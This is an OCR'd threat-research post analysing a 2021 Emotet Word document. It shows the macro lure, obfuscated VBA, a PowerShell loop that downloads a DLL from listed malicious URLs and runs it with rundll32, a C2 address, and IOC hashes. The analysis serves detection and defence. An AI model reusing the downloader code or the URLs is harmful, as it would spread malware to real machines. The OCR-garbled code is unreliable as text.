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Summary

At the beginning of 2021, Emotet was considered to be the world’s most dangerous malware
by Europol. The threat was first discovered in 2014 when it was acting as a banking trojan.
Over the years, the malware evolved into one of the most relevant botnets in the threat
landscape, often used to deliver other threats, such as Trickbot and Ryuk ransomware.
Netskope detected Emotet during Oct 2020, using PowerShell and WMI to download and
execute its payload.

After massive collaboration between law enforcement agencies around the world, Emotet
was taken down in January 2021, where the malware’s infrastructure was disrupted from the
inside. This was extremely important, as infected machines were redirected towards law
enforcement-controlled infrastructure, preventing further actions from Emotet’s threat actors.

After almost a year, Emotet (a.k.a. Geodo, Heodo) was spotted again in the wild, being
delivered by Trickbot. This new campaign is being tracked by MalwareBazaar / Feodo
Tracker, where we can see an increase since November 15, 2021.

1/9


https://www.netskope.com/blog/netskope-threat-coverage-the-return-of-emotet
https://www.netskope.com/blog/author/gsatpathy
https://www.netskope.com/blog/netskope-threat-coverage-emotet
https://www.europol.europa.eu/newsroom/news/world%E2%80%99s-most-dangerous-malware-emotet-disrupted-through-global-action
https://blog.malwarebytes.com/malwarebytes-news/2020/10/new-emotet-delivery-method-spotted-during-downward-detection-trend/
https://malpedia.caad.fkie.fraunhofer.de/details/win.trickbot
https://malpedia.caad.fkie.fraunhofer.de/details/win.ryuk
https://www.netskope.com/blog/you-can-run-but-you-cant-hide-detecting-malicious-office-documents
https://www.bbc.com/news/technology-55826258
https://cyber.wtf/2021/11/15/guess-whos-back/
https://bazaar.abuse.ch/browse/tag/Emotet/
https://feodotracker.abuse.ch/browse/emotet/

Tag: [Emotet]

Firstseen: 2020-03-19 18:51:04 UTC

Lastseen: 2021-11-17 14:12:32 UTC

Sightings: 69'953

Malpedia: [ https://malpedia.caad.fkie.fraunhofer.de/details/win.emotet
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Screenshot of Emotet tracker from MalwareBazaar.

In this threat coverage, we will analyze a malicious Microsoft Office document from a set of
files that are delivering the new Emotet payload.

Analysis

Once we open the document, we can see a fake message that lures the victim into enabling
the macros, by clicking the “Enable Editing” and “Enable Content” buttons.
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File Home Insert Design

Layout References Mailings Review View Developer

Help L}
Eﬁ A || Calibri L = e e éﬁ jo L.r) é—
B I U~ a x x A === 1=~ »
Paste EE‘ - : 4 IEI o = Styles | Editing | Dictate Editor
S| A2 Avma- [N RS- [AL] T e
Clipboard Tu Font I Paragraph Ml Styles M Voice Editor
@ SECURITY WARNING Macros have been disabled. | Enable Content |
) Office 365

BR Microsoft
THIS DOCUMENT IS PROTECTED.

Previewing is not available for protected documents.

You have to press "ENABLE EDITING" and "ENABLE CONTENT" buttons to preview this document.

Malicious document that delivers Emotet.

The threat actors protected the VBA project with a password to prevent viewing the macro in
the VBA editor, likely to slow down analysis.

Project - Project E

E 5
&% Normal
-84 Project (4938ef80579abd:

Project Password

Protected VBA project.

Password

After bypassing this protection, we can see that the document contains an obfuscated macro
code.
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gz = e & Document ~| |Open ~

| E S .5etText txts AZI
PutInClipboard
Project (4938e....doc) End With
£ Microsoft Word Objects End Sub
@ bvhfkauw34gkagdfki Sub ndfgkhwfoiaftvioaisgufoigewgfiudgovlisvpoju(nfkl34 As String, ndr54 As Long, bvret As Lo
(7] References 52 = "DalcDalmd.DaIeDaIxe Dal/Dalc sDaIltaDalrt /DalB poDalwDalerDalshDaIelDaIl 5dDaIfkj="":5D
Dim fs &s Integer: Set service = CreateCbject ("Wsc" + sl + "ript.She™ & "11")

52 = 52 + "$DalstrDals) {DaI$rl=GDalet-RDalandDalom; SDalr2=GDaleDalt-RDalandDalom;DalStpDalth
If d <> 0.123456 Then ra = Replace(s2, "Dal", "W)
service.Run ra, 0: End Sub
Private Function dfjolirhoghwow (ByVal filename$, Optional ByVal names = "") As String
Cn Error Resume Next: Err.Clear: Const BYTES PER ROW& = 480
Dim F_Content$

Properties - bvhfka uwﬂghgdfkiﬁ

bvhfkauw34gk Document v| ffs = FreeFile: Open filenames For Binary Lccess Read Ls #If
fs& = LOF(ff): txt5 = String(fs&, Chr(0))
Alphabetic | Categorized Get #ff, , txtd: Close #£f
{Name) bvhflkauw3dgka ~ F_Content$ = F _Content$ & "&" & name$ & "&" & vbNewLine
AutoFormatOverr False F_Content$ = F _Content$ & "" & vbNewLine
AutoHyphenation False Rd For i = 1 To Len(txt§)
AutoSaveOn False R& = Asc(Mid{txt, i, 1))
ChartDataPointTr False res$ = res$ & IIf({Len{Hex(R)) = 1, "O0", "™} & Hex(R)
ConsecutiveHyph 0 If i Mod BYTES_PER_ROW& = 0 Then
DefaultTabStop | 35.4 F Content$ = F Content$ & "&" & res$ & "" & vbNewLine
DefaultTargetFral res = "": DoEvents
DisableFeatures | False End If
DoMotEmbedSyst True Next
EmbedLinguisticD: True If Len(res) Then F_Content$ = F Content$ & "&" & res$ & "" & vbNewLine
EmbedTrueTypeF False F_Content$ = F _Content$ & "" & vbNewLine
EncryptionProvide FileToVBAFunction = F_Cont,e::t,S
EnforceStyle False End Function
FarEastlineBreakl Private Sub Document Open(): Dim dfjrglwihjpgwof As String "
FarEastlineBreakl 0 - wdFarEastLir » == ¢ =

Macro code executed by the document.
There are a few functions that are not used at all, possibly added as decoys. The main code
is triggered by the “Document Open()” function.

dfjrqlwihjpgwof As

wgfiudgovlisvpoju

once the document is opened.

By looking at the function called by this entry point, we can see the threat actors attempt to
hide a PowerShell script by using string concatenation and replace, which can all be easily
removed.
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https://docs.microsoft.com/en-us/office/vba/api/word.document.open

The VBA code goal is to execute a PowerShell script, that basically iterates over a URL list,
and tries to download the content into “ c:\Programbata\ ”.

r

[Fforeach($st in Surls) {

Srl = Get-Random .
5r2 = Get-Random Prettyfied
Stpth = "C:“\ProgramData’ " + $rl + ".dl1l"

IInkaE—WEbRequest -Uri &§st -OutFile Stpth

= if(Te=t-Fath Stpth){

Sfp = "C:\Windows\SysWowedhrundll3Z. exe"
Sa = Stpth + ", f" + Sr2

Start-Process 5fp -Lrgumentlist Sa
break

= 1

=

PowerShell script executed by the malicious document.
Once an online URL is found, Emotet’s DLL is written into the disk with a random name, for

example: “ C:\ProgramData\1856230245.d11 ".

At the time of our analysis, three of the URLs were offline.
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Offline https://evgeniys.ru/sap-logs/D6/
Offline http rownadvertising.c ip-includes/0xiAACCoic/
Offline https://cars-taxonomy.mywebartist.eu/-/BPCahsAFjwF/

Online http://immoinvest.com.br/blog old/wp-admin/luoT/
Online https://) A ntent/ed1laFBDXIvYTGE0/
Online https Wh L wp-content/6J3CVAmelLxvZP/
Online https://v

Online and Offline URLs from Emotet’s document.
The downloaded file is a 32-bit DLL, and although this information is not 100% reliable, it
looks like the file was compiled on November 16, 2021.

File name
CiUsersY

File type Entry point Base address MIME

PE32 1002134f = Disasm 10000000 Memory map T
ash
PE Export Import B

Sections TimeDateStamp Size0flmage

EpvEE e | Etropy
0004 > 2021-11-16 19:12:45 00042000

Scan Endianness Mode Architecture

Detect It Easy(DiE) LE 32 1336 ) Signatures

linker Microsoft Linker(14.29%*)[DLL32]

Shortcuts

Options

Signatures |:| Deep scan About
Scan
= Log 91 msec Exit

Emotet’s payload downloaded by the malicious document.
The final payload is another DLL, which is unpacked and executed in memory by the
downloaded file.
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o|1001aD8F ||. 8945 E4 mov dword ptr ss:[lebp-1cl,eax [ebp-1C] : &"MZ4H"
@ 1001AD92 mov eax,dword ptr ss:|lebp-1C] [ebp-1c]:&"mzeq"
#| 1001AD95 ﬁ:u5h eax eax :&"MZE§"
8| 1001AD96 ea ecx,dword ptr ss:ebp-34]

Eg—e Downloaded DLL |call <188484494. sub_10014450>
0 lea ecx,dword ptr ss:|lebp-94] [ebp-94]: "Mzy"
e call <l18B484494,sub_1001A3B0>
. lea ecx,dword ptr ss:|lebp-34]
] 1. 51 push ecx ecx:" ag”

<1 88484 .5ub_1001A450>

Yy DumAl Woump2 @ oump3 @ Dump4 @ Dump s B watch 1 o=l Locaks .;ﬁ:’ Struct I
ASCIT S
00|03 00 00 0O(04 00 00 OO(FF FF OO0 OO(MZ.......... Yy..
00|00 00 00 00|40 00 QO 0O0(00 00 00 00| ....... @ ......

00|00 00 00 0000 00 00 O0(00 00 00 00|.....veveninannn

A. ..
4C|CD 21 54 68|,.9.. .11 .LfiTh
63(61 6E GE 6F |15 program canno
Unpacked Emotet | 20|42 4F 53 20/t be run in pos

00|00 00 00 00|mode....$.......

B5(06 E5 C6 B5|52 69 63 68|07 E5 €6 B5|z....a% Rich. as.
00 (00 OO0 OO OO(00 OO0 00 OO(00 O0 00 00| ... .o van...
00(4Cc 01 04 00(9A 76 91 61 (00 00 00 OO|PE..L....Vv.4....
00|EQ 00 02 21 (0B 01 OC 00|00 2A 02 00|....a..'..... “o
00 (00 00 00 00|20 1A 02 00(00 10 00 O0|..... ... oven...
0000 00 00 10(00 10 00 00(00 02 00 00| . @.......0vvunn.
go(00 00 00 OO(06 00 00 OO(00 00 00 00| ...avivvenunnn W

Emotet being unpacked in memory.
Once running, Emotet starts the communication with its C2 servers.
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EAX
EBX
ECX
EDX
EBP
ESP
ESI
EDI

EIP

052BE6GE4
00000000
00000000
00000000
0528F104
0528E5C4
03245440
032677BE

GFOZ2BAEO

fL"https://191.252.196.221:8080,"

| <winhttp.winHttpcrackurls>

.Text:7341BF10 wininet.d11:$30BF10 #30B310 <HttpSendRequestu:|

24 Dump 1

4 Dump 2

24 Dump 3

B4 Dump 4

4% Dump 5

B watch 1

[x=] Locals

i struct

Address

Hex

[

03449190
03449140
03449180
034491cC0O
03449100
0344910
034491F0
03449200
03449210
03449220
03449230
03449240
03449250
03449260
03449270
03449280
03449290

43
4D
6D
6A
7A
65
61
79
32
55
72
56
67
73
4C
50
54

[a]4]
oo
oo
oo
oo
0o
oo
oo
oo
oo
oo
oo
0o
oo
oo
oo
oo

6F
77
50
78
67
42
6B
4D
44
6F
57
65
38
2F
49
47
57

(4]
0o
0o

0o
0o
0o
0o
oo
0o

0o
0o
0o
0o
oo
oo

6F
4B
52
65
68
46
74
4B
58
4D
47
33
4D
4B
66
31
79

0o
00
00
00
00
00
00
00
00
00
00
00
00
00
00
00
00

6B
50
3D
48
4B
71
6F
6D
6C
34
6B
68
52
45
44
4E
38

00
00
00
00
00
00
00
00
00
00
00
00
00
00
00
00
00

69
75
79
67
30
AF
75
49
47
AE
49
6A
6A
39
4D
53
58

00
00
00
00
00
00
00

80

00
00
00
00
00
00
00
00

65
50
71
47
2F
42
4B
61
32
46
67
48
42
54
56
48
61

0o
00
00
00
00
00
00
00
00
00
00
00
00
00
00
00
00

3A
GE
62
56
53
41
50
58
6B
38
71
6D
62
41
35
33
62

00
00
00

00
00
00
00
00
00

00
00
00
00
00
00

20
6F
76
5A
36
i7
4B
66
79
4E
35
44
56
39
45
70
37

[¥]4]
0o
oo
oo
oo
0o
0o
oo
0o
oo
oo
oo
0o
0o
oo
0o
oo

e B LT e T Bl N Ly - WY YU =R i | =
EOH-MmODEOQERDBO X DEO H

M EFThEEWOEXA AT AR O|H

MEIZUMADTAF LSS OOFRII TR

XARLHLHEOHE D ORYE E =
RERHAPEE AR08 00
FAnRPTELSEEXIBRACES
PMeRRnERARESANCD,

Emotet C2 communication.
At the moment of this analysis, there are 19 online servers linked to Emotet.

Protection

Netskope Threat Labs is actively monitoring this campaign and has ensured coverage for all

known threat indicators and payloads.

* Netskope Threat Protection
o Document-Word.Trojan.Emotet

o Win32.Trojan.Emotet
+ Netskope Advanced Threat Protection provides proactive coverage against this

threat.

o Gen.Malware.Detect.By.StHeur indicates a sample that was detected using

static analysis

o Gen.Malware.Detect.By.Sandbox indicates a sample that was detected by
our cloud sandbox

I0Cs

8/9


https://feodotracker.abuse.ch/browse/emotet/

Emotet Document Hashes

SHA256
4938ef80579abd3efdb5caa81ccd37648e771dfcd8eb6fb59789faf5c29002d9
fcdc52a70e95e9e1979db1a9145ca43135ad7b1497a6¢c62b606989734680cd5d
eeabaea8e1a978fb94bbb03a4dd20c9259c9a65bdaee42ab5a777calccba27al
7ba276ef23853e8a1bc1b32b8fa67f845d9fa78c2820aa68c4907aead76fd06
MD5

97b18705eb20d678681e39cc877b3d2a
93288048b2d674437e5d8adcf13d1169

7d987aac2dba9450640fb15d860be5dc
356252e7a07ec1a807795cfb77629ea7

The full list of IOCs analyzed in this campaign can be found in our Git repository.
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https://github.com/netskopeoss/NetskopeThreatLabsIOCs/tree/main/Emotet/IOCs

